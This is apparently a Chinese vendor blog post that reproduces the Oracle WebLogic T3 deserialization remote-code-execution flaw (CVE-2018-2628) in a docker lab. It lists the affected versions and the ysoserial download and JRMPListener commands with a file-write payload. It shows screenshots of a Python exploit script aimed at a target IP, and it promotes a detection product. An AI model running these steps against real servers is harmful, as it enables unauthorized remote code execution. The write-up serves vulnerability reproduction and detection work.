![cf077d8af011dd165e2f87a427dfb9eb.png](https://i-blog.csdnimg.cn/blog_migrate/b1982091b31bf6b4e5d3a7ebd9e68bea.jpeg)
漏洞描述:
Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。
影响版本:
Oracle Weblogic Server10.3.6.0.0
Oracle Weblogic Server12.1.3.0.0
Oracle Weblogic Server12.2.1.2.0
Oracle Weblogic Server12.2.1.3.0
复现步骤:
1. 启动漏洞环境
命令:docker-compose up -d
![640588d238d882f4ad61c0a28eb384ca.png](https://i-blog.csdnimg.cn/blog_migrate/a20823444dfee9b7792d46fdd393c494.png)
2. 下载反序列化工具
命令:wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
![af8fa3cf6ca1cee1d283da285cb3ed42.png](https://i-blog.csdnimg.cn/blog_migrate/b4e6f2422a01ca5695040497e1c5ad7e.jpeg)
3. 启动JRMP Server,利用监听在连接成功后靶机上创建jadoreshell
命令:java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 8889 Jdk7u21 "touch /tmp/jadoreshell"
![13adb42d77c350e8787226db89a45fb0.png](https://i-blog.csdnimg.cn/blog_migrate/2ca13b9c19abb75380c1d63ad0b7284b.jpeg)
4. 使用ysoserial-0.1-cve-2018-2628-all.jar工具生成一个payload字符串,因为要实现Weblogic远程调用攻击机主机上的方法。就需要知道远程方法所在的主机地址和端口号。所以在上一步要记录攻击主机的信息。
![3407408b15f1cb148e308e5645c78cd6.png](https://i-blog.csdnimg.cn/blog_migrate/bec0fb4224c1c66d674ad8be0a9274f9.jpeg)
5. 替换脚本里的payload以及目标IP地址
![30e7dce5c8c22feb95c980335de0c20c.png](https://i-blog.csdnimg.cn/blog_migrate/d1fad08e015f4936219f7d1339a63ade.png)
![74e43127cf82aa2cfc3f392f4612588e.png](https://i-blog.csdnimg.cn/blog_migrate/04416db6eb9db50b0c71fe4fdcd65eb5.png)
6. 执行python脚本
![389c1b98eb71943a82ab69494f38df8c.png](https://i-blog.csdnimg.cn/blog_migrate/fd719d9f6bf886c780ef33c5a8ddd646.jpeg)
![3f208b761a40ee7a69df2ed3ebed1130.png](https://i-blog.csdnimg.cn/blog_migrate/e795cff516e1840071602f01414011ea.jpeg)
7. 查看是否写入文本文件
命令:dockers ps
![67b1419e69fdb3f4d2232a0132cead78.png](https://i-blog.csdnimg.cn/blog_migrate/5b9ece4a8ae9eefdf85b5f20e2790d27.png)
命令:docker exec -ti cve-2018-2628_weblogic_1 /bin/bash
命令:ls -al /tmp
![72d34c1d64a4f032193f73201e7e2876.png](https://i-blog.csdnimg.cn/blog_migrate/4e4325f0237a2b7a3afba10b7ea22451.png)
文件写入成功
产品解决与支持:
华云安灵洞®威胁与漏洞管理平台(Ai.Vul)已经支持一键检测该漏洞。
![148b077946e9af253e57312f5d40a213.png](https://i-blog.csdnimg.cn/blog_migrate/2242388115f0372bc1d35d0f2fa65991.jpeg)
![008c9702ab806b69f77ba616c6f20029.png](https://i-blog.csdnimg.cn/blog_migrate/1aff1f317992ecbe43957abf9dd8d83d.jpeg)